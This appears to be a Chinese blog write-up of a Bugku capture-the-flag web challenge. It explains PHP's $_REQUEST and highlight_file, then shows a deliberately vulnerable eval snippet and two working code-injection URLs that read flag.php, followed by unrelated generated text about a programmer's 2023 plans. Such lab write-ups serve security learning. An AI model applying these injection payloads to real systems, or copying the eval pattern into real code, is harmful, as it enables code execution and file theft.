【愚公系列】2023年06月 Bugku-Web(eval)

文章讨论了PHP中的$_REQUEST变量带来的安全风险,如参数污染、XSS和SQL注入,并举例说明了eval函数的滥用可能导致的代码执行漏洞。同时,提到了文件包含攻击和如何通过构造特定请求获取被注释的flag,强调了安全编码的重要性。
摘要由CSDN通过智能技术生成


前言

1.$_REQUEST

在PHP中,$_REQUEST是一个关联数组,包含了HTTP请求参数(GET、POST和COOKIE)中的所有变量。虽然它为开发人员提供了方便,但如果不正确使用,也会引起安全问题,例如以下一些漏洞:

  1. 参数污染:攻击者可以通过提交带有相同名称但不同值的GET和POST请求,来覆盖$_REQUEST数组中的某些变量。这个漏洞称为参数污染,可以导致应用程序出现意外行为或安全性问题。

  2. 跨站脚本攻击:如果应用程序没有正确过滤用户提交的数据,那么攻击者可以提交恶意脚本,以窃取用户的数据或伪造用户的行为。攻击者可以使用$_REQUEST来传递恶意数据。

  3. SQL注入:如果应用程序没有对用户输入进行充分的验证和过滤,攻击者可能会提交恶意SQL代码,并通过$_REQUEST将其传递给数据查询语句。这可能会导致数据库中的数据泄露、数据损坏或应用程序崩溃。

  4. 文件包含攻击:攻击者可以通过提交恶意文件名和路径来利用应用程序中的文件包含漏洞。这种攻击可能会导致服务器文件泄露、敏感信息泄露或服务器被入侵。

$_REQUEST 函数是一个用于访问 GETPOSTCOOKIE 三个数组的超全局变量。它可以用于从客户端收集用户提交的数据。

,$_REQUEST 函数的使用与 $_GET$_POST$_COOKIE 相似。它接收一个字符串参数,指定所需的变量,然后返回该变量的值。与 $_GET$_POST 不同的是,$_REQUEST 可以访问 GETPOSTCOOKIE 三个数组中的数据。

以下是一个使用 $_REQUEST 函数的示例:

<html>
<body>

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Name: <input type="text" name="name">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // collect value of input field
    $name = $_REQUEST['name'];
    if (empty($name)) {
        echo "Name is empty";
    } else {
        echo $name;
    }
}
?>

</body>
</html>

上面的代码中,当用户提交表单时,会使用 $_REQUEST 函数获取输入字段的值。如果输入字段为空,则输出 “Name is empty”,否则输出输入字段的值。

需要注意的是,$_REQUEST 函数是不安全的,因为它无法确定用户的输入值是来自于哪个数组。因此,为了确保安全性,建议仅使用 $_GET$_POST$_COOKIE 函数。

2.highlight_file

highlight_file函数用于将PHP文件的语法高亮显示输出。它将使用不同颜色和字体样式来显示PHP代码的各个部分,使其更易于阅读和理解。

函数语法:highlight_file($filename, $return = false);

其中,参数$filename是要高亮显示的PHP文件的路径,参数$return用于控制函数的输出方式,默认值为false

如果$return参数设置为false,则highlight_file函数将直接输出高亮显示后的PHP代码到浏览器,并返回true;如果$return参数设置为true,则highlight_file函数将返回高亮显示后的PHP代码字符串,而不会直接输出到浏览器。

示例代码:

<?php
// 将 PHP 文件高亮显示
highlight_file('test.php');
?>

此代码将读取名为test.php的文件,将其语法高亮显示并输出到浏览器。

一、eval

1.题目

在这里插入图片描述

2.答题

打开题目审计源码

在这里插入图片描述

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

进行全局变量查看

http://114.67.175.224:11286/?hello=$GLOBALS

在这里插入图片描述
说明flag不是变量,应该就在flag.php里头被注释了

解法一:构造闭合

http://114.67.175.224:11286/?hello=);highlight_file('flag.php');var_dump(

在这里插入图片描述

解法二:使用文件读取函数

http://114.67.175.224:11286/?hello=file(%27flag.php%27)

在这里插入图片描述
得到flag:flag{34ad156d7d51f9372d7a08f120fad059}

### 回答1: 作为一名程序员,我在2023对自己的计划包括: 1. 不断学习和提升技能:我会继续学习新的编程语言和框架,以及不断提高编码能力。 2. 参加行业相关的培训和会议:我会参加各种行业相关的培训课程和会议,以便获得最新的行业知识和技能。 3. 参加项目并积累经验:我会参加各种项目,以便积累丰富的经验,并提升个人能力。 4. 在业内建立良好的人脉关系:我会努力与业内的同行建立良好的人脉关系,并与他们保持联系。 5. 寻找更好的发展机会:我会不断寻找更好的发展机会,以便在职业生涯中取得更大的成功。 总之,我在2023会努力工作,不断学习和提升,并寻找更好的发展机会,以在职业生涯中取得更大的成功。 ### 回答2: 2023的计划对于我作为一名程序员来说十分重要,我希望能够提升自己的技能水平并取得更好的职业发展。以下是我的计划: 首先,我计划继续学习并掌握新的编程语言和技术。随着科技的不断发展,编程语言和技术也在不断更新换代,作为一名程序员,保持学习的状态是必不可少的。我将花费更多的时间学习目前主流的编程语言,如Python、Java等,并尝试掌握最新的前端和后端技术。通过不断学习,我希望能够拥有更广泛的技术视野和更强大的技术能力。 其次,我计划参与更多的项目和实践。在理论学习之外,实践是提升技能的关键。我计划积极寻找项目机会,无论是个人项目还是团队项目,都可以提供宝贵的实践机会。通过参与各种项目,我可以锻炼解决问题的能力,提高编码和协作能力。同时,我也希望通过实践中的挑战和失败,不断完善自己,进一步提高自己的技术水平和经验。 第三,我计划参加相关的培训和技术交流活动。参加培训和技术交流活动可以与其他程序员交流和学习,了解行业最新动态和趋势。我计划参加各种技术研讨会、讲座和培训班,通过与行业专家和其他程序员的交流,深入了解各种编程技术和最佳实践。同时,我也希望能够积极参与技术社区,与其他程序员分享自己的经验和见解,不断提高自己的影响力和口碑。 最后,我计划在个人项目和开源社区上做出更多的贡献。通过自己的努力,我希望能够在个人项目中实现一些有意义的功能或解决一些实际问题,并将其开源。通过开源社区的贡献,我可以帮助他人解决问题,同时也能够借助其他人的反馈和指导,不断改进自己的代码和设计能力。 总之,2023对于我作为一名程序员来说是充满挑战和机遇的一。我将不懈努力,持续学习和实践,不断提升自己的技能水平和职业发展。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愚公搬代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值